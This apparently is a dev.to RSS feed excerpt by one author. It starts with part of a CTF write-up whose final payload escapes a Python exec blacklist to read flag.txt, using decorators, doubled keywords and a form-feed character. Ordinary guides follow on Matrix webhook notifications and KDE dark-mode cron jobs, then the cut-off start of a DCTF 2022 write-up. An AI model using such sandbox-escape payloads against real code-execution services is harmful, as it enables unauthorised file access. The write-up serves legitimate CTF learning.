        &lt;span class="n"&gt;unsafe_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;unsafe_code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"print"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;validate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unsafe_code&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
            &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid code!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;
        &lt;span class="n"&gt;safe_code&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unsafe_code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  First analysis
&lt;/h2&gt;

&lt;p&gt;In this challenge we had to read the &lt;code&gt;flag.txt&lt;/code&gt; file. The script let us upload python code trough the while loop, blacklisting a number of characters. Most notably:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;dots and underscore (so no __builtins__)&lt;/li&gt;
&lt;li&gt;any kind of parenthesis (so no functions, at least in the canonical sense, see later...)&lt;/li&gt;
&lt;li&gt;and no space (wtf man, even the spaces?)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Note that &lt;code&gt;open&lt;/code&gt; and &lt;code&gt;print&lt;/code&gt; are not blacklisted, they just get replaced with an empty string.&lt;/p&gt;

&lt;h2&gt;
  
  
  Resolution
&lt;/h2&gt;

&lt;p&gt;First rule don't panic, what can we use? &lt;code&gt;open&lt;/code&gt; and &lt;code&gt;print&lt;/code&gt; can actually be used, we just need to send something like &lt;code&gt;oopenpen&lt;/code&gt; that get sanitized to &lt;code&gt;open&lt;/code&gt; so that's good, but how do we call a function without parenthesis?&lt;br&gt;
Let's introduce python decorators!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="k"&gt;print&lt;/span&gt;
&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nb"&gt;input&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="k"&gt;pass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We create a class that does nothing and invoke the function input with the class name as parameter and then the function print on the result of input.&lt;br&gt;
This is the same as running&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(...))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We don't care about the argument of the &lt;code&gt;input&lt;/code&gt;, as it gets stringified and then used as the string printed before the prompt.&lt;/p&gt;

&lt;p&gt;Since &lt;code&gt;@&lt;/code&gt; are not blacklisted we are golden. What we can do then is something similar to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;pprintrint&lt;/span&gt;
&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nb"&gt;sorted&lt;/span&gt;
&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;oopenpen&lt;/span&gt;
&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nb"&gt;input&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="k"&gt;pass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and give as input: &lt;code&gt;flag.txt&lt;/code&gt; to print it.&lt;br&gt;
&lt;code&gt;@sorted&lt;/code&gt; is necessary because open returns a file object and not the file content itself, other alternatives would have been &lt;strong&gt;list, next&lt;/strong&gt; or similar.&lt;/p&gt;

&lt;p&gt;But we need &lt;strong&gt;the space&lt;/strong&gt; between &lt;code&gt;class&lt;/code&gt; and &lt;code&gt;A&lt;/code&gt; and there is nothing much we can do about it.&lt;br&gt;
We need to input a separator that is ignored by the blacklist. We have 2 options:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;we encode the payload so that there aren't blacklisted chars included the space&lt;/li&gt;
&lt;li&gt;we use a different separator that doesn't make our payload explode within the exec&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Since exec doesn't seem to respect different encoding even when the #coding:blabla header is defined we went for the second options.&lt;br&gt;
After many test the only character we found was &lt;strong&gt;Form feed&lt;/strong&gt; (ASCII &lt;code&gt;0x0c&lt;/code&gt;)&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Payload
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;pprintrint&lt;/span&gt;
&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nb"&gt;sorted&lt;/span&gt;
&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;oopenpen&lt;/span&gt;
&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nb"&gt;input&lt;/span&gt;
&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;\&lt;span class="n"&gt;x0c&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="k"&gt;pass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We then proceed to use &lt;code&gt;pwntools&lt;/code&gt; to send the payload in bytes (so that we can handle for the the special character correctly) and it's done!&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>python</category>
    </item>
    <item>
      <title>Notifiche via [matrix] e webhook</title>
      <dc:creator>VaiTon</dc:creator>
      <pubDate>Tue, 07 Feb 2023 15:40:15 +0000</pubDate>
      <link>https://dev.to/vaiton/notifiche-via-matrix-e-webhook-efo</link>
      <guid>https://dev.to/vaiton/notifiche-via-matrix-e-webhook-efo</guid>
      <description>&lt;p&gt;&lt;em&gt;You can read this article in english &lt;a href="https://dev.to/vaiton/notification-service-via-matrix-and-webhooks-bmj"&gt;here&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Hai mai avuto la necessità di ricevere delle notifiche per un processo di lunga durata o per monitorare qualcosa e non avevi voglia di tirare su un &lt;a href="https://search.brave.com/search?q=mail+transfer+agent&amp;amp;source=web" rel="noopener noreferrer"&gt;MTA&lt;/a&gt;?&lt;/p&gt;

&lt;p&gt;Le email sono utili, non lo metto in dubbio, ma a volte è giusto chiedersi se tirare su postfix (o exim4 che sia), setuppare smarthost e bla bla bla  non sia un po' overkill per inviare delle semplici notifiche quando un job è concluso o quando qualcosa è andato storto.&lt;/p&gt;

&lt;p&gt;In questa breve guida, utilizzeremo la potenza dei webhook e del network [matrix] per fare esattamente ciò.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Creare un webhook
&lt;/h2&gt;

&lt;p&gt;Innanzitutto è necessario creare una stanza [matrix]. &lt;strong&gt;Assicurati di averla creata come non-crittografata&lt;/strong&gt;, altrimenti i bridge di t2bot.io potrebbero non funzionare.&lt;/p&gt;

&lt;p&gt;Una volta creata la stanza, &lt;a href="https://t2bot.io/webhooks/" rel="noopener noreferrer"&gt;segui la documentazione di t2bot.io su come create un webhook&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;Invita &lt;code&gt;@_webhook:t2bot.io&lt;/code&gt; nella tua stanza Matrix.&lt;/li&gt;
&lt;li&gt;Invia nella stanza il messaggio &lt;code&gt;!webhook&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Il bridge genererà ed invierà un URL da utilizzare, insieme a semplici istruzioni su come usarlo.&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  2. Creare lo script
&lt;/h2&gt;

&lt;p&gt;Crea un file chiamato &lt;code&gt;notifyMatrix.py&lt;/code&gt; (o come vuoi tu) e incolla questo blocco di codice:&lt;/p&gt;

&lt;p&gt;(Utilizzo python per semplicità, ma puoi utilizzare qualsiasi cosa, anche fare una semplice &lt;code&gt;curl&lt;/code&gt;)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/bin/env python3
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;

&lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt;

&lt;span class="n"&gt;WEBHOOK&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;BOTNAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WEBHOOK&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
    &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;text&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;format&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;plain&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;displayName&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;BOTNAME&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;WEBHOOK&lt;/code&gt; deve essere impostato all'URL che il bot ha inviato nella stanza appena creata. &lt;/li&gt;
&lt;li&gt;
&lt;code&gt;BOTNAME&lt;/code&gt; deve essere impostato ad una stringa qualsiasi. Verrà utilizzato come nome dell'"utente" (tra virgolette perchè in realtà non è un vero utente) che invierà il msg nella stanza specificata.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Lo script prende gli argomenti da riga di comando successivi al primo (che è sempre il nome dello script), li concatena in una stringa separati da spazi e li invia via webhook all'url fornito.&lt;/p&gt;

&lt;p&gt;Adesso, se provi ad eseguire&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./notifyMatrix.py ciao!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;dovresti ricevere un nuovo messaggio nella stanza che hai appena creato con il testo &lt;code&gt;ciao!&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Se tutto ha funzionato, sei riuscito nell'impresa di tirare su in meno di 5 minuti un servizio di notifiche su matrix!&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Utilizzo
&lt;/h2&gt;

&lt;p&gt;Puoi utilizzare questo script dove vuoi. Per esempio, per monitorare un sistema RAID software gestito da MDADM, basta inserire nel file &lt;code&gt;/etc/mdadm/mdadm.conf&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;...
&lt;span class="n"&gt;PROGRAM&lt;/span&gt; /&lt;span class="n"&gt;root&lt;/span&gt;/&lt;span class="n"&gt;notifyMatrix&lt;/span&gt;.&lt;span class="n"&gt;py&lt;/span&gt;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;e hai fatto!&lt;/p&gt;

&lt;h2&gt;
  
  
  Crediti
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://t2bot.io/" rel="noopener noreferrer"&gt;t2bot.io&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://matrix.org/" rel="noopener noreferrer"&gt;[matrix]&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Se ti è piaciuta questa guida e/o l'hai trovata utile considera di donare a &lt;a href="https://t2bot.io/donations/" rel="noopener noreferrer"&gt;t2bot.io&lt;/a&gt; e alla &lt;a href="https://matrix.org/supporters/" rel="noopener noreferrer"&gt;fondazione matrix&lt;/a&gt;!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Notification service via [matrix] and WebHooks</title>
      <dc:creator>VaiTon</dc:creator>
      <pubDate>Tue, 07 Feb 2023 10:53:56 +0000</pubDate>
      <link>https://dev.to/vaiton/notification-service-via-matrix-and-webhooks-bmj</link>
      <guid>https://dev.to/vaiton/notification-service-via-matrix-and-webhooks-bmj</guid>
      <description>&lt;p&gt;&lt;em&gt;Questo articolo è disponibile anche in &lt;a href="https://dev.to/vaiton/notifiche-via-matrix-e-webhook-efo"&gt;italiano&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Have you ever wanted to set up a notification service for your long standing process / monitoring and didn't know how to do it without setting up an &lt;a href="https://search.brave.com/search?q=mail+transfer+agent&amp;amp;source=web" rel="noopener noreferrer"&gt;MTA&lt;/a&gt;? &lt;/p&gt;

&lt;p&gt;Don't get me wrong, emails are good, but sometimes you need a faster approach than setting up postfix (or exim4) with a smarthost and bla bla bla when you just need to be able to recieve a notification when something goes wrong!&lt;/p&gt;

&lt;p&gt;In this guide we leverage the power of webhooks and the matrix network to do exactly that.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Create a webhook
&lt;/h2&gt;

&lt;p&gt;First, create a new Matrix room. &lt;strong&gt;Be sure to make it unencrypted&lt;/strong&gt;, as t2bot.io webhooks bridge still doesn't support encrypted rooms.&lt;/p&gt;

&lt;p&gt;Then, follow &lt;a href="https://t2bot.io/webhooks/" rel="noopener noreferrer"&gt;t2bot.io documentation for creating a webhook&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;Invite &lt;code&gt;@_webhook:t2bot.io&lt;/code&gt; to your Matrix room.&lt;/li&gt;
&lt;li&gt;Send the message &lt;code&gt;!webhook&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The bridge will send you a URL to use alongside simple instructions on how to use it.&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  2. Create the script
&lt;/h2&gt;

&lt;p&gt;Create a file named &lt;code&gt;notifyMatrix.py&lt;/code&gt; and paste this snippet:&lt;/p&gt;

&lt;p&gt;(I'm using python for simplicity, but you could also do a simple &lt;code&gt;curl&lt;/code&gt;!)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/bin/env python3
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;

&lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt;

&lt;span class="n"&gt;WEBHOOK&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;BOTNAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WEBHOOK&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
    &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;text&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;format&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;plain&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;displayName&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;BOTNAME&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;WEBHOOK&lt;/code&gt; should be set to the URL that the bot gave you previously. &lt;/li&gt;
&lt;li&gt;
&lt;code&gt;BOTNAME&lt;/code&gt; can be set to anything. It will be used as the username that &lt;em&gt;sends&lt;/em&gt; the message to the Matrix room.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The script simply takes the last 

&lt;span class="katex-element"&gt;
  &lt;span class="katex"&gt;&lt;span class="katex-mathml"&gt;n−1n-1&lt;/span&gt;&lt;span class="katex-html"&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;n&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mbin"&gt;−&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;
 arguments, creates a string by joining them (with a space in between each) and sends it to the specified webhook.&lt;/p&gt;

&lt;p&gt;Now try running&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./notifyMatrix.py ciao!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and you should get a message in the room you created with the content &lt;code&gt;ciao!&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;If everything went well, you should have your notification service up and running, and it took only a couple of minutes!&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Usage
&lt;/h2&gt;

&lt;p&gt;You can now use the script wherever you want, for example in a system with a software RAID controlled by MDADM:&lt;/p&gt;

&lt;p&gt;In &lt;code&gt;/etc/mdadm/mdadm.conf&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;...
&lt;span class="n"&gt;PROGRAM&lt;/span&gt; /&lt;span class="n"&gt;root&lt;/span&gt;/&lt;span class="n"&gt;notifyMatrix&lt;/span&gt;.&lt;span class="n"&gt;py&lt;/span&gt;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and you're done!&lt;/p&gt;

&lt;h2&gt;
  
  
  Credits
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://t2bot.io/" rel="noopener noreferrer"&gt;t2bot.io&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://matrix.org/" rel="noopener noreferrer"&gt;[matrix]&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you enjoyed this guide and/or found it useful, consider donating to &lt;a href="https://t2bot.io/donations/" rel="noopener noreferrer"&gt;t2bot.io&lt;/a&gt; and to the &lt;a href="https://matrix.org/supporters/" rel="noopener noreferrer"&gt;matrix foundation&lt;/a&gt;!&lt;/p&gt;

</description>
      <category>announcement</category>
      <category>devto</category>
      <category>offers</category>
    </item>
    <item>
      <title>How to enable auto dark mode (night theme) in KDE Plasma</title>
      <dc:creator>VaiTon</dc:creator>
      <pubDate>Mon, 01 Aug 2022 15:55:00 +0000</pubDate>
      <link>https://dev.to/vaiton/how-to-enable-auto-dark-mode-night-theme-in-kde-plasma-24l3</link>
      <guid>https://dev.to/vaiton/how-to-enable-auto-dark-mode-night-theme-in-kde-plasma-24l3</guid>
      <description>&lt;h1&gt;
  
  
  Disclaimer!
&lt;/h1&gt;

&lt;p&gt;The method described in this post only works if your cron handles delayed jobs (for when your PC is sleeping/powered off and the job should run).&lt;/p&gt;

&lt;p&gt;I got different results from different OS so YMMV!&lt;/p&gt;

&lt;h1&gt;
  
  
  Intro
&lt;/h1&gt;

&lt;p&gt;Auto dark mode is new feature that has been gaining a lot of popularity in these years. &lt;/p&gt;

&lt;p&gt;That's because, with its introduction in &lt;a href="https://developer.android.com/guide/topics/ui/look-and-feel/darktheme"&gt;Android 10&lt;/a&gt; people have begun to appreciate its benefits, including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Can reduce power usage by a significant amount (depending on the device’s screen technology).&lt;/li&gt;
&lt;li&gt;Improves visibility for users with low vision and those who are sensitive to bright light.&lt;/li&gt;
&lt;li&gt;Makes it easier for anyone to use a device in a low-light environment.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For GNOME, this shell extension exists: Night Theme Switcher. &lt;/p&gt;

&lt;p&gt;For KDE Plasma though, unfortunately, the only automatic way I could find to accomplish this is by using &lt;a href="https://github.com/baduhai/Koi"&gt;this project on github&lt;/a&gt; which is not supported on every distro (although recently added to the OBS).&lt;/p&gt;

&lt;p&gt;Despite this, for users that do not want to install something from a PPA / User repository / Source code, another solution exists, and it leverages the plasma &lt;code&gt;plasma-apply-colorscheme&lt;/code&gt; command.&lt;/p&gt;

&lt;h2&gt;
  
  
  How To
&lt;/h2&gt;

&lt;p&gt;First, open up a terminal and write&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;plasma-apply-colorscheme &lt;span class="nt"&gt;--list-schemes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;to see which color scheme you have installed on your system. &lt;/p&gt;

&lt;p&gt;&lt;em&gt;(You can always install more using your distro package manager or the Plasma Settings.)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;After locating the two color themes that we want to use for the &lt;strong&gt;day theme&lt;/strong&gt; and the &lt;strong&gt;night theme&lt;/strong&gt;, let's open up the user &lt;code&gt;crontab&lt;/code&gt; manager with&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;crontab &lt;span class="nt"&gt;-e&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and let's create two cronjob by using &lt;a href="https://crontab-generator.org/"&gt;this website&lt;/a&gt;, one that will run when we want to switch to the day theme and the other one when we want to switch to the night theme.&lt;/p&gt;

&lt;p&gt;The input command will be&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;plasma-apply-colorscheme &amp;lt;colorscheme&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For me they will be &lt;code&gt;openSUSE&lt;/code&gt; from 07:00 till 20:00 and &lt;code&gt;BreezeDark&lt;/code&gt; for the rest of the day, so the two cronjobs will be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0 20 * * * plasma-apply-colorscheme BreezeDark &amp;gt;/dev/null 2&amp;gt;&amp;amp;1
0  7 * * * plasma-apply-colorscheme openSUSE   &amp;gt;/dev/null 2&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And that's all! Let's close the crontab (Esc -&amp;gt; &lt;code&gt;:wq&lt;/code&gt; -&amp;gt; Enter) and enjoy the automatic switch!&lt;/p&gt;

</description>
      <category>crontab</category>
      <category>plasma</category>
      <category>kde</category>
    </item>
    <item>
      <title>Eulers license - DCTF 22</title>
      <dc:creator>VaiTon</dc:creator>
      <pubDate>Mon, 18 Apr 2022 23:05:15 +0000</pubDate>
      <link>https://dev.to/ulisse/eulers-license-dctf-2022-bd</link>
      <guid>https://dev.to/ulisse/eulers-license-dctf-2022-bd</guid>
      <description>&lt;p&gt;I took part to the &lt;a href="https://ctftime.org/event/1569"&gt;DCTF 2022&lt;/a&gt; with the team &lt;a href="https://ulis.se/"&gt;Ulisse&lt;/a&gt; of the University of Bologna.&lt;/p&gt;

&lt;p&gt;The Bookstore.java challenge stated that:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Someone who doesn't care about bandwidth usage decided to package both the server and client binaries in a single file... The server of course is meant to run on linux, and the client on Windows.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We get a PowerShell file &lt;code&gt;eulers_license.ps1&lt;/code&gt; that contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a &lt;code&gt;binary_linux&lt;/code&gt; var containing the server code encoded in base64.&lt;/li&gt;
&lt;li&gt;a &lt;code&gt;binary_win&lt;/code&gt; var containing the client code also encoded in base64.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The linux binary
&lt;/h2&gt;

&lt;p&gt;The linux binary is very easy to reverse. In fact by decoding it we get a python server which has a huge SQLi vuln:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
